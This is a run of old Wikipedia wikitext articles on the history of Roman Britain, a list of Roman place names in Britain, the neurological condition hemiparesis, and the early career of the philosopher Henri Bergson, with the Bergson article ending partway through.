By the third century, Britain's economy was diverse and well-established, with commerce extending into the non-Romanised north. The design of Hadrian's Wall especially catered to the need for customs inspections of merchants' goods.

==The third century==
The death of [[Commodus]] put into motion a series of events which eventually led to civil war. Following the short reign of [[Pertinax]], several rivals for the throne emerged, including [[Septimius Severus]] and [[Clodius Albinus]]. The latter was the new governor of Britain, and had seemingly won the natives over after their earlier rebellions; he also controlled three legions, making him a potentially significant claimant to the purple. His sometime rival Severus promised him the title of ''Caesar'' in return for Albinus' support against [[Pescennius Niger]] in the east. Once Niger was neutralised however, Severus turned on his ally in Britain&amp;mdash;though it is likely that Albinus saw that he would be the next target, and was already preparing for war.

Albinus crossed to Gaul in 195 where the provinces were also sympathetic to him and set up at [[Lugdunum]]. Severus arrived in February 196 and the ensuing battle was decisive. Although Albinus came close to victory, Severus' reinforcements won the day, and the British governor found it expedient to commit suicide. Severus soon purged Albinus' sympathisers, perhaps as well confiscating large tracts of land in Britain in punishment. 

Albinus demonstrated the two major political problems posed by Roman Britain. First, in order to maintain its security it had three legions stationed there. These would provide an ambitious man with weak loyalties a powerful base for rebellion, as it had for Albinus. Second, deploying the legions elsewhere would strip the island of its garrison, with the result that Britain was defenceless to invaders.

Traditionally, the view has been that northern Britain descended into anarchy during Albinus' absence. Certainly [[Cassius Dio]] records that the new governor, [[Virius Lupus]] was obliged to buy peace from the fractious northern tribe known as the [[Maeatae]], however more recent work suggests that it is more likely that he left a reasonable force behind to protect the frontier and that the level of chaos was not as great as earlier thought. Even so, a succession of militarily distinguished governors were appointed to the province and [[Lucius Alfenus Senecio]]'s report back to Rome in 207 described barbarians &quot;rebelling, over-running the land, taking booty and creating destruction&quot;. Alfenus requested either re-inforcements or an Imperial expedition and Severus chose the latter option, despite now being 62 years old. Archaeological evidence shows that Alfenus had been rebuilding the defences of Hadrian's Wall and the forts beyond it and Severus' arrival in Britain prompted the rebellious tribes to immediately sue for peace. The emperor had not come all that way to leave without a victory however and it is likely that he wished to provide his teenage sons [[Caracalla]] and [[Publius Septimius Geta|Geta]] with first hand experience of controlling and administering a barbarian province.

An expedition led by Severus and probably numbering around 20,000 troops, moved north in 208 or 209, crossing the wall and passing through eastern Scotland in a route similar to that used by Agricola. Harried by guerrilla raids by the natives and slowed by an unforgiving terrain, Severus was unable to meet the Caledonians on a battlefield. The campaign pushed northwards as far as the [[River Tay]] and peace treaties were signed with the Caledonians who seem to have suffered similar losses to the Romans. By 210, Severus had returned to York with the frontier set at Hadrian's Wall and assumed the title ''Britannicus''. Almost immediately another northern tribe, the [[Maeatae]] rebelled. Caracella left with a punitive expedition but by the next year his ailing father had died and he and his brother left the province to press their claim for the throne. 

As one of his last acts, [[Septimius Severus]] tried to solve the problem of powerful and rebellious governors in Britain by dividing the existing province into [[Britannia Superior|Upper Britain]] and [[Britannia Inferior|Lower Britain]]. Although this kept the potential for rebellion in check for almost a century, it was not permanent. Historical sources provide little information on the following decades, a period often called the Long Peace. Even so the number of [[hoard]]s found in the period rises, suggesting unrest and a string of forts were built along the coast of southern Britain to control piracy, over the next hundred years they expanded in number, becoming the [[Saxon Shore Forts]].

During the middle of the third century the Roman empire was convulsed by barbarian invasions, rebellions and new imperial pretenders. Britannia apparently avoided these troubles, although increasing [[inflation]] had its economic effect. In [[259]], a so-called [[Gallic Empire]] was established when [[Postumus]] rebelled against [[Gallienus]]. Britannia was part of this until [[274]] when [[Aurelian]] reunited the empire.

In the late 270s a half-Brythonic usurper named [[Bononus]] rebelled to avoid the repercussions of letting his fleet be burnt by barbarians at [[Cologne]]. He was quickly crushed by [[Probus]], but soon afterwards an unnamed governor in Britannia also attempted an uprising. Irregular troops of [[Vandal]]s and [[Burgundians]] were sent across the Channel by Probus to put down the uprising, perhaps in [[278]].

The last of the string of rebellions to affect Britannia was that of [[Carausius]] and his successor [[Allectus]]. Carausius was a naval commander, probably in the [[English Channel]].  He was accused of keeping pirate booty for himself, and his execution was ordered by the Emperor [[Maximian]].  He then in 286 set himself up as emperor in Britain and northern Gaul, and remained in power whilst Maximian dealt with uprisings elsewhere. In 288, an invasion failed to unseat the usurper. An uneasy peace ensued, during which Carausius issued coins proclaiming his legitimacy and inviting official recognition.

In [[293]] [[Constantius Chlorus]] launched a second offensive, besieging the rebel's port at [[Boulogne-sur-Mer|Boulogne]] and cutting it off from naval assistance. After the town fell, Constantius tackled Carausius' [[Franks|Frankish]] allies. Subsequently the usurper was murdered by his treasurer, [[Allectus]]. Allectus' brief reign was brought to an end when [[Asclepiodotus]] landed near [[Southampton]] and defeated him in a land battle.

Constantius himself arrived in London to receive the victory and chose to divide the province further, into four provinces: 
*[[Maxima Caesariensis]] (based on London): from Upper Britannia 
*[[Britannia Prima]]: from Upper Britannia 
*[[Flavia Caesariensis]]: from Lower Britannia
*[[Britannia Secunda]]: from Lower Britannia

These four provinces were part of [[Diocletian]]'s [[Tetrarchy]] reform in 293, Britannia became one of the four dioceses&amp;mdash;governed by a ''vicarius''&amp;mdash;of the prætorian prefecture [[Galliae]] ('the [[Gaul]]s', also comprising the provices of [[Gaul]], [[Germania]] and [[Hispania]]), after the abolition of the imperial tetrarchs under the Western Emperor (in Rome itself, later [[Ravenna]]).

==Government of Britannia==
Under the Roman Empire, administration of peaceful provinces was ultimately the remit of the [[Roman Senate|Senate]] but those like Britain that required permanent garrisons of troops were placed under the Emperor's control. On the ground however imperial provinces were run by resident [[Roman governor|governors]] who were former senators who had held the [[Roman consul|consul]]ship. These men were carefully selected often having strong records of military success and administrative ability. In Britain, a governor's role was primarily military but numerous other tasks were also his responsibility such as maintaining diplomatic relations with local client kings, building roads, ensuring the public courier system functioned, supervising the [[civitates]] and acting as a judge in important legal cases. When not campaigning he would travel the province hearing complaints and recruiting new troops.

To assist him in legal matters he had an adviser, the ''legatus iuridicus'', and those in Britain appear to have been distinguished lawyers perhaps because of the challenge of incorporating tribes into the imperial system and devising a workable method of taxing them. Financial administration was dealt with by a ''procurator'' with junior posts for each tax-raising power. Each legion in Britain had a commander who answered to the governor and in time of war probably directly ruled troublesome districts. Each of these commands carried a tour of duty of two to three years in different provinces.  Below these posts was a network of administrative managers covering intelligence gathering, sending reports to Rome, organising military supplies and dealing with prisoners. A staff of seconded soldiers provided clerical services.

Colchester was probably the earliest capital of Roman Britain but it was soon eclipsed by London with its strong mercantile connections.

==The fourth century==
Constantius Chlorus returned to Britain in 306, aiming to invade northern Britain. The province's defences had been rebuilt in the preceding years and, although his health was poor, Constantius wished to penetrate far into enemy territory and win a further victory. Little is known of his campaigns and there is little archaeological evidence for them. From fragmentary historical sources it seems he reached the far north of Britain and won a great battle in early summer of that year before returning south to York.

Constantius remained in Britain for the rest of the time he was part of the [[Tetrarchy]], dying on [[July 25|25th July]] [[306]]. His son, [[Constantine I (emperor)|Constantine I]] had managed to be by his side at that moment, and assumed his duties in Britain. Unlike the earlier usurper Albinus, he was able to successfully use his base in Britain as a starting point on his march to the imperial throne.

For a few years, the British provinces were loyal to the usurper [[Magnentius]], who succeeded [[Constans]] following his death. Following his defeat and death in the [[Battle of Mons Seleucus]] in 353, [[Constantius II]] dispatched his chief imperial notary [[Paul &quot;Catena&quot;]] to Britain to hunt down Magnentius' supporters. Paul's investigations deteriorated into a [[witch hunt]], which forced the ''vicarius'' [[Flavius Martinus]] to intervene. When Paul instead suspected Martinus of treason, the ''vicarius'' found himself forced to physically attack Paul with a sword with the aim of [[assassin]]ating him, but at the end committed [[suicide]].

In the 4th century, Britain also saw increasing attacks from the [[Saxon people|Saxons]] in the east, and the [[Ireland|Irish]] in the west. A series of forts was built, starting around 280, to defend the coasts, but these preparations were not enough when a general assault of Saxons, [[Ireland|Irish]] and [[Attacotti]], combined with apparent dissension in the garrison on Hadrian's Wall, left Roman Britain prostrate in 367. This crisis, sometimes called the [[Great Conspiracy]], was settled by [[Count Theodosius]] with a string of military and civil reforms.

Another usurper, [[Magnus Maximus]], raised the standard of revolt in [[Segontium Roman Fort|Segontium]] in 383, and crossed [[English Channel|the Channel]]. Maximus held much of the western empire, and fought a successful campaign against the [[Picts]] and [[Scoti|Scots]] around [[384]]. His continental exploits required troops from Britain, and it appears that forts at Chester and elsewhere were abandoned at this period, triggering raids and settlement in north Wales by the Irish. His rule was ended in 388, but not all of the British troops may have returned: the Empire's military resources were struggling after the catastrophic [[Battle of Adrianople (378)|Battle of Adrianople]] in 378. Around 396, there were increasing barbarian incursions in Britain, and an expedition, possibly led by [[Stilicho]], brought naval action against the raiders. It seems peace was restored by 399, although it is likely that no further garrisoning was ordered, and indeed by 401 more troops were withdrawn to assist in the war against [[Alaric I]].

==Town and country==
A number of important settlements were founded by the Romans, during their occupation of Britain. Many of which still survive.

Cities and towns which have Roman origins include: (with their Latin names in brackets)
*[[Alcester]] - (''Aluana'')
*[[Bath]] - (''Aquae Sulis'')
*[[Caerleon]] - (''Isca Silurum'')
*[[Caerwent]] - (''Venta Silurum'')
*[[Canterbury, Kent|Canterbury]] - (''Durovernum'')
*[[Carmarthen]] - (''Moridunum'')
*[[Colchester]] - (''Camulodonum'')
*[[Corbridge]] - (''Corstopitum'')
*[[Chichester]] - (''Noviomagus'')
*[[Chester]] - (''Deva'')
*[[Cirencester]] - (''Corinium'')
*[[Dover]] - (''Portus Dubris'')
*[[Dorchester, Dorset|Dorchester]] - (''Durnovaria'')
*[[Exeter]] - (''Isca Dumnoniorum'')
*[[Gloucester]] - (''Glevum'')
*[[Leicester]] - (''Ratae Coritanorum'')
*[[London]] - (''Londinium'')
*[[Lincoln, England|Lincoln]] - (''Lindum'')
*[[Manchester]] - (''Mamucium'')
*[[Northwich]] - (''Condate'')
*[[St Albans]] - (''Verulamium'')
*[[Towcester]] - (''Lactodorum'')
*[[Whitchurch]] - (''Mediolanvm'')
*[[Winchester, Hampshire|Winchester]] - (''Venta Belgarum'')
*[[York]] - (''Eboracum'')

For a larger list, see [[list of Roman place names in Britain]].

==The end of Roman rule==
[[image:Brittain_410.jpg|thumb|250px|Roman Britain in the year 410]]
The traditional view of historians, informed by the work of [[Michael Rostovtzeff]], was of a widespread economic decline at this time.  However, consistent archaeological evidence has told another story, and the accepted view is undergoing re-evaluation.  The destruction of many sites is now believed to be much later than had formerly been thought.  Many buildings changed use, but were not destroyed. There were growing barbarian attacks, but these were focused on vulnerable rural settlements rather than towns.  Some villas such as [[Great Casterton]] in [[Rutland]] and [[Hucclecote]] in [[Gloucestershire]] had new mosaic floors laid around this time, suggesting that economic problems may have been limited and patchy, although many suffered some decay before being abandoned in the fifth century; the story of [[Saint Patrick]] indicates that villas were still occupied until at least 430. New buildings were still going up in this period in [[Verulamium]] and [[Cirencester]]. Some urban centres, for example [[Canterbury]], [[Cirencester]], [[Wroxeter]], [[Winchester, Hampshire|Winchester]] and [[Gloucester]], remained active during the fifth and sixth centuries, surrounded by large farming estates.  

Urban life had generally grown less intense by the fourth quarter of the fourth century, and [[coin]]s minted between 378 and 388 are very rare, indicating a likely combination of economic decline, diminishing numbers of troops, and problems with the payment of soldiers and officials. Coinage circulation increased during the 390s, although it never attained the levels of earlier decades. Copper coins are very rare after 402, although minted silver and gold coins from hoards indicate they were still present in the province even if they were not being spent. By 407 there were no new Roman coins going into circulation and by 430 it is likely that coinage as a medium of exchange had been abandoned. Pottery mass production probably ended a decade or two previously; the rich continued to use metal and glass vessels, while the poor probably adopted leather or wooden ones.

==Religion==
Religion in Roman Britain consisted originally of [[Paganism|pagan]] worship. A common element was the conflation of Roman gods and local Iron Age deities such as Mars Rigonemetos at [[Nettleham]]. The degree to which earlier native beliefs survived is difficult to gauge precisely. Certain northern European ritual traits such as the significance of the number 3, the importance of the head and of water sources such as springs remain in the archaeological record but the differences in the [[votive offering]]s made at Bath before and after the Roman conquest suggest that continuity was only partial.

Worship of the emperor himself is widely recorded, especially at military sites.

Oriental cults such as [[Mithraism]] and [[Christianity]] grew in popularity towards the end of the occupation. The [[Temple of Mithras, London|Temple of Mithras]] is one example of the popularity of [[mystery religion]]s amongst the rich urban classes and by the fourth century there is archaeological evidence of Christian worship; small timber churches are suggested at Lincoln and Silchester and fonts have been found at [[Icklingham]] and the [[Saxon Shore|Saxon Shore Fort]] at [[Richborough]]. The [[Water Newton Treasure]] is a hoard of Christian silver church plate from the early fourth century and the Roman villas at [[Lullingstone]] and [[Hinton St Mary]] contained Christian wall paintings and mosaics respectively. Amongst the ordinary Romano-Britons it is difficult to determine the adoption of Christianity although a large fourth century cemetery at [[Poundbury]] with its east-west oriented burials and lack of [[grave goods]] has been interpreted as an early Christian burial ground. Such burial rites were becoming increasingly common in pagan contexts during the period as well however.

It is not clear when Christianity came to Britain, or how.  Some ancient texts seem to suggest that Christianity came early though by no means achieved anything approaching religious supremacy until after the Roman conquest due in part to the continued influx of pagan influences from the continent.  Early Roman writers, and pre-reformation scholars certainly believed that Celtic Britain may have been Christianized early. [[Tertullian]] (155-222) wrote in '''[http://www.tertullian.org/anf/anf03/anf03-19.htm#P2021_691723 Adversus Judaeos]''' that Britain had already received and accepted the Gospel in his lifetime:
:''[...] Hispaniarum omnes termini et Galliarum diversae nationes et Britannorum inaccessa Romanis loca Christo [...]''
:[...] all the limits of the Spains, and the diverse nations of the Gauls, and the haunts of the Britons, inaccessible to the Romans, but subjugated to Christ [...]
According to archaeological record, Christianity seems to have been slower to spread in Britain than in some other parts of the Roman Empire, although there were British martyrs in the periods of persecution: St [[Alban]] of [[Verulamium]] and SS [[Aaron]] and [[Julius]] of [[Isca Silurum]].  By the fifth century, however, the new religion appears to have become established.  The evidence for this process is complex, and described in [[Celtic Christianity]].  What evidence there is, is sketchy, however there is evidence to suggest that what Christian community that did exist in early Britain had already established some orthodoxy by 363, as evidenced by a letter found in Bath, Somerset from a Christian man, Vinisius, who writes from the Roman city of Wroxeter (near present-day Shrewsbury) to a Christian lady named Nigra, living in Bath. Vinisius warns Nigra of the arrival of one Bilonicus, whom he calls a ''canem Arii'', that is, a follower (dog) of the heretic Arios.  The early Church in Roman Britain seems to have also developed the customary diocesan system as evidenced from the records of the Council of Arles in Gaul, 314. These contain the earliest references to bishops in Britain. Represented at the Council were bishops from thirty-five sees from North Africa, Gaul, Britain, Spain, Italy and Dalmatia. Signatories include three bishops from Britain. These were Eborius of York, Restitutus of London, and Adelphius.

==Sub-Roman Britain==
{{main|Sub-Roman Britain}}
Britain came under increasing pressure from barbarian attack on all sides towards the end of the 4th century, and troops were too few to mount an effective defence. The army rebelled and, after elevating two disappointing usurpers, chose a soldier, [[Constantine III (usurper)|Constantine III]], to become Emperor in 407. He soon crossed to Gaul with an army, to be defeated by [[Theodosius I]]; it is unclear how many troops remained or ever returned, nor whether a commander-in-chief in Britain was ever reappointed.   A Saxon incursion in 408 was apparently repelled by the Britons themselves, and in 409 [[Zosimus]] records that the natives expelled the Roman civilian administration. A later appeal for help by the British communities was rejected by the emperor [[Flavius Augustus Honorius|Honorius]] in 410. This apparent contradiction has been explained by EA Thompson as a peasant revolt against the landowning classes, with the latter group asking for Roman help; an uprising certainly occurred in Gaul at the time. With the higher levels of the military and civil government gone, administration and justice fell to municipal authorities, and small warlords gradually emerged all over Britain, still aspiring to Roman ideals and conventions. 

By tradition, the pagan Saxons were invited by [[Vortigern]] to assist in fighting the Picts and Irish, though archaeology has suggested some official settlement as landed mercenaries as early as the third century. The new arrivals rebelled, plunging the country into a series of wars that eventually led to the Saxon occupation of Lowland Britain by 600. Around this time many Britons fled to [[Brittany]] (whence its name). Similar orders were sent out in the 490s but met with no response.  A significant date in sub-Roman Britain is the famous [[Groans of the Britons]], an unanswered appeal to [[Flavius_Aëtius|Aëtius]], leading general of the western Empire, for assistance against Saxon invasion in 446; another is the [[Battle of Dyrham]] in 577, after which the significant cities of Bath, Cirencester and Gloucester fell and the Saxons reached the western sea. 

Most scholars reject the historicity of the later [[legend]]s of [[King Arthur]], which seem to be set in this period, but some such as John Morris see it as evidence behind which may lie a plausible grain of truth.

==The legacy==
During their occupation of Britain, the Romans built an extensive network of [[Roman road|roads]], many of which are still in use today. The Romans also built water and [[sewage]] systems. 

The prestige of the empire influenced Britons' views of themselves for generations to come.

Britain is also noteworthy as having the largest European region of the former Roman Empire which currently speaks neither (as a majority language):

*A [[Romance language]] (for example, [[Romania]], where territory was under Roman control about half as long as Britain), nor 
*A language descended from the pre-Roman inhabitants (such as [[Greek language|Greek]]), though [[Welsh language|Welsh]] exists as a [[minority language]], with many borrowings from Latin, such as ''llaeth'' (&quot;milk&quot;), ''ffenestr'' (&quot;window&quot;).  

For what is known of the process that introduced English to much of this former province, see the article [[Anglo-Saxons]].

==See also==
*[[Britannia (disambiguation)]]
*[[Roman departure from Britain]]
*[[List of Roman governors of Britain]]
*[[Roman client kingdoms in Britain]]
*[[History of Britain]]
*[[Romano-British]]
*[[Sub-Roman Britain]]
*[[Roman sites in the United Kingdom]] 
*[[UK topics]]

==Literature==
Britannia: A History of Roman Britain
==External links==
*[http://www.roman-britain.org/overview.htm Roman Britain, by Kevan&amp;nbsp;W. White]
*[http://www.morgue.demon.co.uk/ The Roman Army and Navy in Britain, by Peter Green]
*[http://www.romanbritain.freeserve.co.uk/ Roman Britain: Quentin de la Bedoyere]
*[http://penelope.uchicago.edu/Thayer/E/Gazetteer/Places/Europe/Great_Britain/_Periods/Roman/home.html Roman Britain at LacusCurtius]
*[http://chr.org.uk/anddidthosefeet.pdf Roman London - &quot;In their own words&quot;] &lt;small&gt;(PDF)&lt;/small&gt; By Kevin Flude
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    <title>List of Roman place names in Britain</title>
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      <text xml:space="preserve">A partial '''list of Roman place names in Great Britain'''.

This list includes only names documented from Roman times. For a more complete list including later [[Latin]] names, see [[List of Latin place names in North Atlantic islands]].

The early sources for Roman names show numerous variants and mis-spellings of the [[Latin]] names. Moreover one of the principal authorities, [[Ptolemy]], wrote in [[Greek language|Greek]] so names that he records need to be [[transliteration|transliterated]] back into Latin to reveal the original form.

&lt;small&gt;Note that in general only one source is shown below for each name, although many of the names are recorded in more than one of the sources.

==Country names==

{| border=&quot;1&quot; cellspacing=&quot;0&quot; cellpadding=&quot;3&quot;
!Roman name||Modern name ||Source
|-
|[[Albion]]||[[Great Britain]] ||[[Ptolemy]]
|-
|[[Britannia]]||[[Great Britain]]||[[Tacitus]]
|-
|[[Caledonia]]||[[Scotland]]||Tacitus
|-
|[[Hibernia]]||[[Ireland]]||&amp;nbsp;
|}

==Island names==

{| border=&quot;1&quot; cellspacing=&quot;0&quot; cellpadding=&quot;3&quot;
!Roman name||Modern name||Source
|-
|Malaeus||[[Mull]]||Ptolemy
|-
|Mona||[[Anglesey]]||Ptolemy
|-
|Monaoeda||[[Isle of Man]]||Ptolemy
|-
|Orcades||[[Orkney]]||Ptolemy
|-
|Scetis||[[Isle of Skye|Skye]]||Ptolemy
|-
|Taniatide||[[Thanet]]||[[Ravenna]]
|-
|Vectis||[[Isle of Wight]]||Ptolemy
|}

== City names ==
{| border=&quot;1&quot; cellspacing=&quot;0&quot; cellpadding=&quot;3&quot;
!Roman name|| Modern name||Source
|-
|Aquae Sulis||[[Bath]]||
|-
|Ardotalia||[[Gamesley]], [[Glossop]]. [[Derbyshire]]||
|-
|Caeseromagus||[[Chelmsford]], [[Essex]]||AI
|-
|Calcaria||[[Tadcaster]], [[North Yorkshire]]||AI
|-
|Calleva Atrebatum||[[Silchester]]||AI
|-
|Camulodunum||[[Colchester, England|Colchester]]||Ravenna
|-
|Clausentum||[[Bitterne]], [[Hampshire]]||
|-
|Corinium||[[Cirencester]]||
|-
|Corstopitum||[[Corbridge]]||
|-
|Danum||[[Doncaster]]||
|-
|Deva||[[Chester, England|Chester]]||
|-
|Dubris||[[Dover, England|Dover]]||AI
|-
|Durnovaria||[[Dorchester, Dorset|Dorchester]]||
|-
|Durocobrivis||[[Dunstable, England|Dunstable]]||
|-
|Durocornovium||[[Swindon]]||
|-
|Durolitum||[[Romford]]||
|-
|Durovernum Cantiacorum||[[Canterbury, Kent|Canterbury]]||
|-
|Eboracum||[[York]]||Ptolemy
|-
|Garrianonum||[[Burgh Castle]]||
|-
|Glevum Colonia||[[Gloucester, England|Gloucester]]||
|-
|Hortonium||[[Halifax, West Yorkshire|Halifax]]||
|-
|Isca Dumnoniorum||[[Exeter, England|Exeter]]||AI
|-
|Isca Silurium||[[Caerleon]]||
|-
|Lactodorum||[[Towcester]]||
|-
|Lindum Colonia||[[Lincoln, England|Lincoln]]||
|-
|Londinium||[[London]]||Ptolemy||AI
|-
|Mamucium||[[Manchester]]||
|-
|Mediolanum||[[Whitchurch, Shropshire]]||
|-
|[[Noviomagus|Noviomagus Regnorum]]||[[Chichester]]||
|-
|Noviomagus Cantiacorum||[[Crayford]]
|-
|Ratae Coritanorum||[[Leicester]]||
|-
|[[Segontium Roman Fort|Segontium]]||[[Caernarfon]]||
|-
|Venta Belgarum||[[Winchester, Hampshire|Winchester]]||AI
|-
|[[Verulamium]]||[[St Albans]]||Tacitus
|-
|[[Viroconium]]||[[Wroxeter]], [[Shropshire]]||
|-
|[[Vindolanda]]||[[Chesterholme]]||
|}

== See also ==

* [[List of Latin place names in Europe]]
* [[List of Latin place names in North Atlantic islands]]

* [[Latin names of cities]]
* [[Latin names of islands]]
* [[Latin names of lakes]]
* [[Latin names of mountains]]
* [[Latin names of regions]]
* [[Latin names of European countries]]

* [[History of Britain]]
* [[History of Ireland]]
* [[Roman sites in the United Kingdom]]

==References==

#A.L.F. Rivet and Colin Smith, ''The place-names of Roman Britain''. London, 1979 (reprinted by Book Club Associates, 1981).
#[[Tacitus]] (Cornelius Tacitus), ''Britannia''.
#AI: [[Antonine Itinerary]]
#[[Ravenna Cosmography]] (''Ravennatis Anonymi Cosmographia'')
#[[Ptolemy]] (Claudius Ptolemaeus), ''Geographia''.

== External links ==

*[http://www.ipa.net/~magreyn#Record&amp;#20;Interpreter List of Roman Place names in Great Britain and Ireland]

[[no:Liste over romerske stedsnavn i Britannia]]

[[Category:Alternative names of European places|Roman Britain]]
[[Category:Ancient Rome lists|Britain]]
[[Category:British toponymy|Roman place names]]
[[Category:Latin names of places|Britain]]
[[Category:Lists of cities|Britain]]
[[Category:Lists of place names|Britain]]
[[Category:Roman toponymy|Britain]]
[[Category:United Kingdom-related lists|Place names in Britain]]
[[Category:Roman Britain|Place names]]</text>
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  <page>
    <title>Hemiparesis</title>
    <id>13528</id>
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      <text xml:space="preserve">{{DiseaseDisorder infobox |
  Name        = Hemiparesis |
  ICD10       = G81.9 |
  ICD9        = {{ICD9|342.9}}, {{ICD9|094.89}}, {{ICD9|438.2}} |
}}
'''Hemiparesis''' is the [[paralysis]] of one side of the body. It is caused by the lesions of the [[corticospinal tract]], which runs down from the cortical [[neuron]]s of the frontal lobe to the motor neurons of the [[spinal cord]] (see the second paragraph of [[Amyotrophic lateral sclerosis]]) and is responsible for the movements of the muscles of the body and its limbs. 

On its way the tract passes through several parts of the [[brain stem]] namely the [[midbrain]], [[pons]] and [[Medulla oblongata|medulla]], respectively. The tract crosses to the opposite side (or decussates) on the lowest portion of the medulla (forming an anatomical structure named as ''the pyramids'') and goes down along the opposite side of the spinal cord to meet the contralateral motor neurons. For this reason, one side of the brain controls the muscle movements of the opposite side of the body, and thus the disruption of the right corticospinal tract on brain stem or upper brain structures causes a hemiparesis on the left side of the body and vice versa. On the other hand, the lesions of the tract on the spinal cord lead to a hemiparesis on the same side of the body. The facial muscles are also controlled by the same tract. 

The tract activates the facial nuclei (see [[ganglion]]) and the facial nerve emerging from these nuclei activate the facial muscles during voluntary facial muscle contraction. Since the facial nuclei are located in the pons above the decussation, the lesions of the tract on the pons or upper structures give rise to a hemiparesis on the opposite side of the body and a paresis on the same side of the face and that is called a crossed hemiparesis. If the patient's face is not involved, this is highly suggestive of a lesion of the tract on lower parts of the brain stem or spinal cord. Since the spinal cord is a very small structure, it is very unusual for only one side to be affected by a lesion and usually both tracts are affected. Therefore, the spinal cord lesions usually present with the paralysis of both arms and legs (''quadriparesis'') or both legs (''paraparesis'').

[[Hemiplegia]] is similar to [[hemiparesis]], but hemiparesis is considered less severe. [http://sprojects.mmi.mcgill.ca/gait/hemiplegic/intro.asp]

==See also==
* [[paresis]]

[[Category:Neurological disorders]]</text>
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  <page>
    <title>Henri Bergson</title>
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      <text xml:space="preserve">'''Henri-Louis Bergson''' ([[October 18]], [[1859]] &amp;ndash; [[January 4]], [[1941]]) was a [[France|French]] [[Philosophy|philosopher]], influential in France, but out of the main currents of his time.

==Four principal works==
He was born in [[Paris]] in the ''Rue Lamartine'', not far from the [[Paris Opera]]. He was descended from a [[Poles|Polish]] [[Jew]]ish family (originally Berekson) on his father's side, while his mother was from an [[England|English]] and [[Irish people|Irish]] Jewish background. His family lived in [[London]] for a few years after his birth, and he obtained an early familiarity with the [[English language]] from his mother. Before he was nine, his parents crossed the [[English Channel]] and settled in France, Henri becoming a naturalized citizen of the Republic.

Bergson's life was the quiet and uneventful one of a French professor, the chief landmarks in it being the publication of his four principal works, first, in [[1889]], the ''[[Essai sur les données immédiates de la conscience]]'' (Time and Free Will), then ''[[Matière et Mémoire]]'' (Matter and Memory) in [[1896]], ''[[L'Evolution créatrice]]'' (Creative Evolution) in [[1907]] and finally ''[[Les deux sources de la morale et de la religion]]'' (The Two Sources of Morality and Religion) in [[1932]].

== Education and career ==
In Paris from [[1868]] to [[1878]] Bergson attended the ''[[Lycée Fontaine]]'', now known as the ''[[Lycée Condorcet]]''. While there he won a prize for his scientific work and another, when he was eighteen, for the solution of a mathematical problem. This was in [[1877]], and his solution was published the following year in ''[[Annales de Mathématiques]].'' It is of interest as being his first published work. After some hesitation over his career, as to whether it should lie in the sphere of the sciences or that of &quot;the humanities,&quot; he decided in favour of the latter, and when nineteen years of age, he entered the famous ''[[École Normale Supérieure]]''. While there he obtained the degree of ''[[Licence-ès-Lettres]]'', and this was followed by that of ''[[agrégation|Agrégation de philosophie]]'' in [[1881]].

The same year he received a teaching appointment at the ''[[Lycée]]'' in [[Angers]], the ancient capital of [[Anjou]]. Two years later he settled at the ''[[Lycée Blaise-Pascal]]'' in [[Clermont-Ferrand]], ''[[préfecture]]'' (capital) of the [[Puy-de-Dôme]] ''[[département in France|département]]'', a town whose name is usually more of interest for motorists than for philosophers, it being the home of [[Michelin]] tyres and the [[Charade Circuit]] racing track.

The year after his arrival at [[Clermont-Ferrand]] Bergson displayed his ability in the humanities by the publication of an excellent edition of extracts from [[Lucretius]], with a critical study of the text and the philosophy of the poet ([[1884]]), a work whose repeated editions are sufficient evidence of its useful place in the promotion of classical study among the youth of France. While teaching and lecturing in this part of his country (the [[Auvergne (province)|Auvergne]] region), Bergson found time for private study and original work. He was engaged on his ''Essai sur les données immediates de la conscience''. This essay, which, in its English translation, bears the more definite and descriptive title ''Time and Free Will'', was submitted, along with a short [[Latin]] thesis on [[Aristotle]], for the degree of ''[[Docteur-ès-Lettres]]'', to which he was admitted by the [[University of Paris]] in 1889. The work was published in the same year by [[Felix Alcan]], the Paris publisher, in his series ''[[La Bibliothèque de philosophie contemporaine]]''.

It is interesting to note that Bergson dedicated this volume to [[Jules Lachelier]], then public education minister, who was an ardent disciple of [[Felix Ravaisson]] and the author of a rather important philosophical work ''Du fondement de l'Induction'' (On the Founding of Induction, 1871). Lachelier endeavoured &quot;to substitute everywhere force for inertia, life for death, and liberty for fatalism.&quot; (Note: Lachelier was born in [[1832]], Ravaisson in [[1813]]. Bergson owed much to both of these teachers of the ''Ecole Normale Supérieure''. Cf. his memorial address on Ravaisson, who died in [[1900]].)

Bergson now settled again in Paris, and after teaching for some months at the [[Municipal College]], known as the ''College Rollin'', he received an appointment at the [[Lycée Henri-Quatre]], where he remained for eight years. In 1896 he published his second large work, entitled ''Matière et Mémoire''. This rather difficult, but brilliant, work investigates the function of the brain, undertakes an analysis of [[perception]] and [[memory]], leading up to a careful consideration of the problems of the relation of body and mind. Bergson had spent years of research in preparation for each of his three large works. This is especially obvious in ''Matière et Memoire'', where he shows a very thorough acquaintance with the extensive amount of pathological investigation which had been carried out during the period, and for which France is justly entitled to a very honourable mention.

In [[1898]] Bergson became ''[[Maître de conférences]]'' at his [[Alma Mater]], ''L'Ecole Normale Supérieure'', and was later promoted to a Professorship. The year [[1900]] saw him installed as Professor at the [[Collège de France]], where he accepted the Chair of [[Greek Philosophy]] in succession to [[Charles L'Eveque]]. 

At the [[First International Congress of Philosophy]], held in Paris during the first five days of August, 1900, Bergson read a short, but important, paper, ''Sur les origines psychologiques de notre croyance à la loi de causalité'' (Psychological origins of the belief in the law of causality). In [[1901]] [[Felix Alcan]] published a work which had previously appeared in the [[Revue de Paris]], entitled ''[[Le rire (H. Bergson)|Le rire]]'' (Laughter), one of the most important of Bergson's minor productions. This essay on the meaning of &quot;the comic&quot; was based on a lecture which he had given in his early days in the Auvergne. The study of it is essential to an understanding of Bergson's views of life, and its passages dealing with the place of the artistic in life are valuable. 

In [[1901]] Bergson was elected to the [[Académie des sciences morales et politiques]], and became a member of the Institute. In [[1903]] he contributed to the ''Revue de metaphysique et de morale'' a very important essay entitled ''[[Introduction à la metaphysique]]'' (Introduction to Metaphysics), which is useful as a preface to the study of his three large books.

On the death of [[Gabriel Tarde]], the eminent sociologist, in [[1904]], Bergson succeeded him in the Chair of Modern Philosophy. From the 4th to the 8th of September of that year he was at [[Geneva]] attending the [[Second International Congress of Philosophy]], when he lectured on ''Le Paralogisme psycho-physiologique'', or, to quote its new title, ''Le Cerveau et la Pensée: une illusion philosophique'' (The Mind and Thought: A Philosophical Illusion). An illness prevented his visiting [[Germany]] to attend the [[Third International Congress of Philosophy|Third Congress]] held at [[Heidelberg]].

